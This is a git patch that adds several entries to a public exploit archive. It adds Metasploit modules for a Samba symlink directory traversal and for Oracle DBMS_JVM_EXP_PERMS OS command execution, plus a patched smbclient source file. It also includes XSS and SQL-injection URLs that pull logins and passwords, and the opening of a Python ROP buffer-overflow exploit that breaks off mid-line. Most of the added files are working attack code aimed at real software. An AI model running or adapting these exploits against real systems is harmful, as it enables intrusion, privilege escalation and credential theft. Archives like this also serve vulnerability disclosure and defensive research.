From 112100d678ca222b2737682cc7cf17357cb4bc36 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 3 Jun 2014 04:36:23 +0000 Subject: [PATCH] Updated 06_03_2014 --- files.csv | 20 +++- platforms/jsp/webapps/33596.txt | 10 ++ platforms/linux/local/33604.sh | 15 +++ platforms/linux/remote/33598.rb | 80 ++++++++++++++++ platforms/linux/remote/33599.txt | 83 ++++++++++++++++ platforms/multiple/{local => dos}/33251.txt | 0 platforms/multiple/dos/33607.html | 9 ++ platforms/multiple/remote/33600.rb | 75 +++++++++++++++ platforms/multiple/remote/33601.rb | 67 +++++++++++++ platforms/php/webapps/33595.txt | 9 ++ platforms/php/webapps/33597.txt | 9 ++ platforms/php/webapps/33602.txt | 11 +++ platforms/php/webapps/33603.html | 9 ++ platforms/php/webapps/33605.php | 37 +++++++ platforms/php/webapps/33606.txt | 10 ++ platforms/windows/dos/33608.html | 9 ++ platforms/windows/remote/33610.py | 101 ++++++++++++++++++++ platforms/windows/remote/33611.txt | 13 +++ 18 files changed, 565 insertions(+), 2 deletions(-) create mode 100755 platforms/jsp/webapps/33596.txt create mode 100755 platforms/linux/local/33604.sh create mode 100755 platforms/linux/remote/33598.rb create mode 100755 platforms/linux/remote/33599.txt rename platforms/multiple/{local => dos}/33251.txt (100%) create mode 100755 platforms/multiple/dos/33607.html create mode 100755 platforms/multiple/remote/33600.rb create mode 100755 platforms/multiple/remote/33601.rb create mode 100755 platforms/php/webapps/33595.txt create mode 100755 platforms/php/webapps/33597.txt create mode 100755 platforms/php/webapps/33602.txt create mode 100755 platforms/php/webapps/33603.html create mode 100755 platforms/php/webapps/33605.php create mode 100755 platforms/php/webapps/33606.txt create mode 100755 platforms/windows/dos/33608.html create mode 100755 platforms/windows/remote/33610.py create mode 100755 platforms/windows/remote/33611.txt diff --git a/files.csv b/files.csv index 169888951..53923dd90 100755 --- a/files.csv +++ b/files.csv @@ -11029,7 +11029,7 @@ id,file,description,date,author,platform,type,port 12095,platforms/linux/dos/12095.txt,"Virata EmWeb R6.0.1 - Remote Crash Vulnerability",2010-04-06,"Jobert Abma",linux,dos,0 12096,platforms/windows/dos/12096.txt,"Juke 4.0.2 DoS Multiple Files",2010-04-06,anonymous,windows,dos,0 12097,platforms/php/webapps/12097.txt,"Joomla Component XOBBIX [prodid] SQL Injection Vulnerability",2010-04-06,AntiSecurity,php,webapps,0 -12098,platforms/php/webapps/12098.txt,"Wordpress Plugin NextGEN Gallery - XSS Vulnerability",2010-04-06,"Alejandro Rodriguez",php,webapps,0 +12098,platforms/php/webapps/12098.txt,"Wordpress Plugin NextGEN Gallery <= 1.5.1 - XSS Vulnerability",2010-04-06,"Alejandro Rodriguez",php,webapps,0 12100,platforms/asp/webapps/12100.txt,"Espinas CMS SQL Injection Vulnerability",2010-04-07,"Pouya Daneshmand",asp,webapps,0 12101,platforms/php/webapps/12101.txt,"Joomla Component aWiki com_awiki Local File Inclusion",2010-04-07,"Angela Zhang",php,webapps,0 12102,platforms/php/webapps/12102.txt,"Joomla Component VJDEO com_vjdeo 1.0 LFI Vulnerability",2010-04-07,"Angela Zhang",php,webapps,0 @@ -29951,7 +29951,7 @@ id,file,description,date,author,platform,type,port 33248,platforms/hardware/webapps/33248.txt,"OpenFiler 2.99.1 - Multiple persistent XSS Vulnerabilities",2014-05-08,"Dolev Farhi",hardware,webapps,0 33249,platforms/php/webapps/33249.txt,"Collabtive 1.2 - SQL Injection",2014-05-08,"Deepak Rathore",php,webapps,0 33250,platforms/php/webapps/33250.txt,"Collabtive 1.2 - Stored XSS",2014-05-08,"Deepak Rathore",php,webapps,0 -33251,platforms/multiple/local/33251.txt,"Python - Interpreter Heap Memory Corruption (PoC)",2014-05-08,"Debasish Mandal",multiple,local,0 +33251,platforms/multiple/dos/33251.txt,"Python - Interpreter Heap Memory Corruption (PoC)",2014-05-08,"Debasish Mandal",multiple,dos,0 33252,platforms/php/webapps/33252.txt,"Cobbler 2.4.x - 2.6.x - LFI Vulnerability",2014-05-08,"Dolev Farhi",php,webapps,0 33254,platforms/java/webapps/33254.txt,"IBM Lotus Connections 2.0.1 'simpleSearch.do' Cross Site Scripting Vulnerability",2009-09-23,IBM,java,webapps,0 33255,platforms/linux/local/33255.txt,"Xen 3.x pygrub Local Authentication Bypass Vulnerability",2009-09-25,"Jan Lieskovsky",linux,local,0 @@ -30266,3 +30266,19 @@ id,file,description,date,author,platform,type,port 33592,platforms/linux/dos/33592.txt,"Linux Kernel 2.6.x KVM 'pit_ioport_read()' Local Denial of Service Vulnerability",2010-02-02,"Marcelo Tosatti",linux,dos,0 33593,platforms/windows/local/33593.c,"Microsoft Windows XP/VISTA/2000/2003 Double Free Memory Corruption Local Privilege Escalation Vulnerability",2010-02-09,"Tavis Ormandy",windows,local,0 33594,platforms/windows/remote/33594.txt,"Microsoft Windows VISTA/2008 ICMPv6 Router Advertisement Remote Code Execution Vulnerability",2010-02-09,"Sumit Gwalani",windows,remote,0 +33595,platforms/php/webapps/33595.txt,"Interspire Knowledge Manager 5.1.3 and Prior Multiple Remote Vulnerabilities",2010-02-04,"Cory Marsh",php,webapps,0 +33596,platforms/jsp/webapps/33596.txt,"KnowGate hipergate 4.0.12 Multiple Cross-Site Scripting Vulnerabilities",2010-02-04,"Nahuel Grisolia",jsp,webapps,0 +33597,platforms/php/webapps/33597.txt,"Data 1 Systems UltraBB 1.17 'view_post.php' Cross-Site Scripting Vulnerability",2010-02-04,s4r4d0,php,webapps,0 +33598,platforms/linux/remote/33598.rb,"Samba <= 3.4.5 Symlink Directory Traversal Vulnerability",2010-02-04,kingcope,linux,remote,0 +33599,platforms/linux/remote/33599.txt,"Samba <= 3.4.5 Symlink Directory Traversal Vulnerability (2)",2010-02-04,kingcope,linux,remote,0 +33600,platforms/multiple/remote/33600.rb,"Oracle 10g Multiple Remote Privilege Escalation Vulnerabilities",2010-02-05,"David Litchfield",multiple,remote,0 +33601,platforms/multiple/remote/33601.rb,"Oracle 11g Multiple Remote Privilege Escalation Vulnerabilities",2010-02-05,"David Litchfield",multiple,remote,0 +33602,platforms/php/webapps/33602.txt,"evalSMSI 2.1.3 Multiple Input Validation Vulnerabilities",2010-02-05,ekse,php,webapps,0 +33603,platforms/php/webapps/33603.html,"LANDesk Management Gateway 4.x Multiple Security Vulnerabilities",2010-02-05,"Aureliano Calvo",php,webapps,0 +33604,platforms/linux/local/33604.sh,"SystemTap 1.0/1.1 '__get_argv()' and '__get_compat_argv()' Local Memory Corruption Vulnerabilities",2010-02-05,"Josh Stone",linux,local,0 +33605,platforms/php/webapps/33605.php,"ASCET Interactive Huski CMS 'i' Parameter Local File Include Vulnerability",2010-02-05,Wireghoul,php,webapps,0 +33606,platforms/php/webapps/33606.txt,"ASCET Interactive Huski Retail Multiple SQL Injection Vulnerabilities",2010-02-05,Wireghoul,php,webapps,0 +33607,platforms/multiple/dos/33607.html,"Mozilla Firefox 3.5.x and SeaMonkey 2.0.1 Remote Denial Of Service Vulnerability",2010-02-07,"599eme Man",multiple,dos,0 +33608,platforms/windows/dos/33608.html,"Apple Safari 4.0.4 Remote Denial Of Service Vulnerability",2010-02-07,"599eme Man",windows,dos,0 +33610,platforms/windows/remote/33610.py,"Easy File Management Web Server v5.3 - UserID Remote Buffer Overflow (ROP)",2014-06-01,"Julien Ahrens",windows,remote,80 +33611,platforms/windows/remote/33611.txt,"GeFest Web Home Server 1.0 Remote Directory Traversal Vulnerability",2010-02-08,Markot,windows,remote,0 diff --git a/platforms/jsp/webapps/33596.txt b/platforms/jsp/webapps/33596.txt new file mode 100755 index 000000000..0d32efcd5 --- /dev/null +++ b/platforms/jsp/webapps/33596.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/38094/info + +KnowGate hipergate is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +KnowGate hipergate 4.0.12 is vulnerable; other versions may also be affected. + +http://www.example.com:8080/hipergate/common/errmsg.jsp?title=%3Cscript%3Ealert%28%22titleXSS%22%29; +%3C/script%3E&desc=%3Cscript%3Ealert%28%22descXSS%22%29;%3C/script%3E&resume=_back \ No newline at end of file diff --git a/platforms/linux/local/33604.sh b/platforms/linux/local/33604.sh new file mode 100755 index 000000000..da12e04ce --- /dev/null +++ b/platforms/linux/local/33604.sh @@ -0,0 +1,15 @@ +source: http://www.securityfocus.com/bid/38120/info + +SystemTap is prone to multiple local memory-corruption vulnerabilities. + +An attacker may exploit these issues to execute arbitrary code with SYSTEM privileges. Failed exploit attempts will result in a denial of service. + +SystemTap 1.1 is vulnerable; other versions may also be affected. + +#!/bin/bash +while [ "0" = "0" ] ; do +HOME=1 +/bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/* + +cat /proc/slabinfo +done diff --git a/platforms/linux/remote/33598.rb b/platforms/linux/remote/33598.rb new file mode 100755 index 000000000..24c1a9ac7 --- /dev/null +++ b/platforms/linux/remote/33598.rb @@ -0,0 +1,80 @@ +source: http://www.securityfocus.com/bid/38111/info + +Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. + +Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks. + +To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts. + +NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'. + +## +# $Id: samba_symlink_traversal.rb 8369 2010-02-05 06:38:24Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Auxiliary::Report + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + + def initialize + super( + 'Name' => 'Samba Symlink Directory Traversal', + 'Version' => '$Revision: 8369 $', + 'Description' => %Q{ + This module exploits a directory traversal flaw in the Samba + CIFS server. To exploit this flaw, a writeable share must be specified. + The newly created directory will link to the root filesystem. + }, + 'Author' => + [ + 'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html + 'hdm' # metasploit module + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']), + OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs']) + ], self.class) + + end + + + def run + print_status("Connecting to the server...") + connect() + smb_login() + + print_status("Trying to mount writeable share #{datastore['SMBSHARE']}...") + self.simple.connect(datastore['SMBSHARE']) + + print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...") + self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10) + + print_status("Now access the following share to browse the root filesystem:") + print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") + print_line("") + end + +end diff --git a/platforms/linux/remote/33599.txt b/platforms/linux/remote/33599.txt new file mode 100755 index 000000000..3661054e3 --- /dev/null +++ b/platforms/linux/remote/33599.txt @@ -0,0 +1,83 @@ +source: http://www.securityfocus.com/bid/38111/info + +Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. + +Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks. + +To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts. + +NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'. + +smbclient patch (exploit): + +samba-3.4.5/source3/client/client.c +/**************************************************************************** + UNIX symlink. +****************************************************************************/ + +static int cmd_symlink(void) +{ + TALLOC_CTX *ctx = talloc_tos(); + char *oldname = NULL; + char *newname = NULL; + char *buf = NULL; + char *buf2 = NULL; + char *targetname = NULL; + struct cli_state *targetcli; + + if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) || + !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) { + d_printf("symlink \n"); + return 1; + } + oldname = talloc_asprintf(ctx, + "%s", // << HERE modified + buf); + if (!oldname) { + return 1; + } + newname = talloc_asprintf(ctx, + "%s", // << HERE modified + buf2); + if (!newname) { + return 1; + } +/* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE). + oldname = talloc_asprintf(ctx, + "%s%s", // < modified (see above) + client_get_cur_dir(), // < removed (see above) + buf); + if (!oldname) { + return 1; + } + newname = talloc_asprintf(ctx, + "%s%s", // < modified (see above) + client_get_cur_dir(), // < removed (see above) + buf2); + if (!newname) { + return 1; + } +----------------------------------------------*/ + + if (!cli_resolve_path(ctx, "", auth_info, cli, oldname, &targetcli, &targetname)) { + d_printf("link %s: %s\n", oldname, cli_errstr(cli)); + return 1; + + } + + if (!SERVER_HAS_UNIX_CIFS(targetcli)) { + d_printf("Server doesn't support UNIX CIFS calls.\n"); + return 1; + } + + if (!cli_unix_symlink(targetcli, targetname, newname)) { + d_printf("%s symlinking files (%s -> %s)\n", + cli_errstr(targetcli), newname, targetname); + return 1; + } + + return 0; +} + +// Cheers, +// kcope diff --git a/platforms/multiple/local/33251.txt b/platforms/multiple/dos/33251.txt similarity index 100% rename from platforms/multiple/local/33251.txt rename to platforms/multiple/dos/33251.txt diff --git a/platforms/multiple/dos/33607.html b/platforms/multiple/dos/33607.html new file mode 100755 index 000000000..cc7634050 --- /dev/null +++ b/platforms/multiple/dos/33607.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38132/info + +Mozilla Firefox and SeaMonkey are prone to a remote denial-of-service vulnerability. + +Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed. + +The issue affects Firefox 3.6.7 and SeaMonkey 2.0.1; other versions may also be affected. + + \ No newline at end of file diff --git a/platforms/multiple/remote/33600.rb b/platforms/multiple/remote/33600.rb new file mode 100755 index 000000000..3f4ea3ea6 --- /dev/null +++ b/platforms/multiple/remote/33600.rb @@ -0,0 +1,75 @@ +source: http://www.securityfocus.com/bid/38115/info + +Oracle Database is prone to multiple remote privilege-escalation issues because it fails to properly restrict access to certain packages. + +The attacker can exploit these issues to escalate their privileges to DBA or execute arbitrary operating system commands with SYSTEM privileges, leading to a complete compromise of an affected computer. + +These vulnerabilities affect Oracle Database 11gR2. One of the issues also affects Oracle Database 10gR2. + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::ORACLE + + def initialize(info = {}) + super(update_info(info, + 'Name' => ' DBMS_JVM_EXP_PERMS 10gR2, 11gR1/R2 OS Command Execution', + 'Description' => %q{ + This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows + any user with create session privilege to grant themselves java IO privileges. + Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only) + + }, + 'Author' => [ 'sid[at]notsosecure.com' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 8822 $', + 'References' => + [ + [ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ], + [ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ], + ], + 'DisclosureDate' => 'Feb 1 2010')) + + register_options( + [ + OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), + ], self.class) + end + + def run + name = Rex::Text.rand_text_alpha(rand(10) + 1) + + + package1 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + + package2 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + + + package3 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + + + + os_code = "select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe', '/c', ' #{datastore['CMD']}')from dual" + + begin + print_status("Attempting to grant JAVA IO Privileges") + prepare_exec(package1) + prepare_exec(package2) + prepare_exec(package3) + print_status("Attempting to execute OS Code") + prepare_exec(os_code) + rescue => e + print_status("Error: #{e.class} #{e}") + end + end + +end + diff --git a/platforms/multiple/remote/33601.rb b/platforms/multiple/remote/33601.rb new file mode 100755 index 000000000..ca1afb96e --- /dev/null +++ b/platforms/multiple/remote/33601.rb @@ -0,0 +1,67 @@ +source: http://www.securityfocus.com/bid/38115/info + +Oracle Database is prone to multiple remote privilege-escalation issues because it fails to properly restrict access to certain packages. + +The attacker can exploit these issues to escalate their privileges to DBA or execute arbitrary operating system commands with SYSTEM privileges, leading to a complete compromise of an affected computer. + +These vulnerabilities affect Oracle Database 11gR2. One of the issues also affects Oracle Database 10gR2. + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::ORACLE + + def initialize(info = {}) + super(update_info(info, + 'Name' => ' DBMS_JVM_EXP_PERMS 11g R1/R2 OS Code Execution', + 'Description' => %q{ + This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows + any user with create session privilege to grant themselves java IO privileges. + Identified by David Litchfield. Works on 11g R1 and R2 (Windows only). + + }, + 'Author' => [ 'sid[at]notsosecure.com' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 8822 $', + 'References' => + [ + [ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ], + [ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ], + ], + 'DisclosureDate' => 'Feb 1 2010')) + + register_options( + [ + OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), + ], self.class) + end + + def run + name = Rex::Text.rand_text_alpha(rand(10) + 1) + + + package = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + os_code = "select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c #{datastore['CMD']}')from dual" + + + + begin + print_status("Attempting to grant JAVA IO Privileges") + prepare_exec(package) + print_status("Attempting to execute OS Code") + prepare_exec(os_code) + rescue => e + print_status("Error: #{e.class} #{e}") + end + end + +end + diff --git a/platforms/php/webapps/33595.txt b/platforms/php/webapps/33595.txt new file mode 100755 index 000000000..68c7292a6 --- /dev/null +++ b/platforms/php/webapps/33595.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38090/info + +Interspire Knowledge Manager is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability. + +Exploiting these issues could allow an attacker to obtain sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Interspire Knowledge Manager 5.1.3 and prior versions are vulnerable. + +http://www.example.com/admin/de/colormenu.php?sp=f";[xss];a=" \ No newline at end of file diff --git a/platforms/php/webapps/33597.txt b/platforms/php/webapps/33597.txt new file mode 100755 index 000000000..53882ec6b --- /dev/null +++ b/platforms/php/webapps/33597.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38097/info + +Data 1 Systems UltraBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Data 1 Systems UltraBB 1.17 is vulnerable; other versions may also be affected. + +http://www.example.com/view_post.php?post_id==">>

XSS By Fatal Error

 \ No newline at end of file diff --git a/platforms/php/webapps/33602.txt b/platforms/php/webapps/33602.txt new file mode 100755 index 000000000..7bcdb8d0d --- /dev/null +++ b/platforms/php/webapps/33602.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/38116/info + +evalSMSI is prone to multiple vulnerabilities, including an authentication-bypass issue, an SQL-Injection issue, and an HTML-Injection issue. + +Attackers can exploit these issues to gain administrative access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible. + +Versions prior to evalSMSI 2.2.00 are vulnerable. + +http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 + +http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 \ No newline at end of file diff --git a/platforms/php/webapps/33603.html b/platforms/php/webapps/33603.html new file mode 100755 index 000000000..d830b895d --- /dev/null +++ b/platforms/php/webapps/33603.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38119/info + +LANDesk Management Gateway is prone to a cross-site request-forgery vulnerability and a cross-site scripting vulnerability. + +An attacker can exploit the cross-site request forgery issue to alter the settings on affected devices. This may lead to further network-based attacks, including command-injection attacks to the device's underlying operating system, which can lead to a complete compromise of a vulnerable device. + +The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. + + LANDesk PoC
\ No newline at end of file diff --git a/platforms/php/webapps/33605.php b/platforms/php/webapps/33605.php new file mode 100755 index 000000000..601e37586 --- /dev/null +++ b/platforms/php/webapps/33605.php @@ -0,0 +1,37 @@ +source: http://www.securityfocus.com/bid/38126/info + +Huski CMS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. + +Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible. + +loadPluginSources(); + +// Create the Page +$page->createPage(); + +echo $page->Result; +?> diff --git a/platforms/php/webapps/33606.txt b/platforms/php/webapps/33606.txt new file mode 100755 index 000000000..9d1d6ad09 --- /dev/null +++ b/platforms/php/webapps/33606.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/38129/info + +Huski Retail is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/?_action=editProducts&categoryID=[SQLI] +http://www.example.com/?_action=showProducts&categoryID=[SQLI]&id=shop +http://www.example.com/?_action=showProductDetails&productID=[SQLI]&categoryID=1310&id=shop +http://www.example.com/?_action=showProductDetails&productID=22095&categoryID=[SQLI]&id=shop \ No newline at end of file diff --git a/platforms/windows/dos/33608.html b/platforms/windows/dos/33608.html new file mode 100755 index 000000000..c6d274405 --- /dev/null +++ b/platforms/windows/dos/33608.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38133/info + +Apple Safari is prone to a remote denial-of-service vulnerability. + +Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed. + +The issue affects Safari 4.0.4; other versions may also be affected. + + \ No newline at end of file diff --git a/platforms/windows/remote/33610.py b/platforms/windows/remote/33610.py new file mode 100755 index 000000000..61c2d8282 --- /dev/null +++ b/platforms/windows/remote/33610.py @@ -0,0 +1,101 @@ +#!/usr/bin/python +# Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow (ROP) +# Version: 5.3 +# Date: 2014-05-31 +# Author: Julien Ahrens (@MrTuxracer) +# Homepage: http://www.rcesecurity.com +# Software Link: http://www.efssoft.com/ +# Tested on: WinXP-GER, Win7x64-GER, Win8-EN, Win8x64-GER +# +# Credits for vulnerability discovery: +# superkojiman (http://www.exploit-db.com/exploits/33453/) +# +# Howto / Notes: +# This scripts exploits the buffer overflow vulnerability caused by an oversized UserID - string as +# discovered by superkojiman. In comparison to superkojiman's exploit, this exploit does not +# brute force the address of the overwritten stackpart, instead it uses code from its own +# .text segment to achieve reliable code execution. + +from struct import pack +import socket,sys +import os + +host="192.168.0.1" +port=80 + +junk0 = "\x90" * 80 + +# Instead of bruteforcing the stack address, let's take an address +# from the .text segment, which is near to the stackpivot instruction: +# 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll] +# The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job! +# Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8 +call_edx=pack('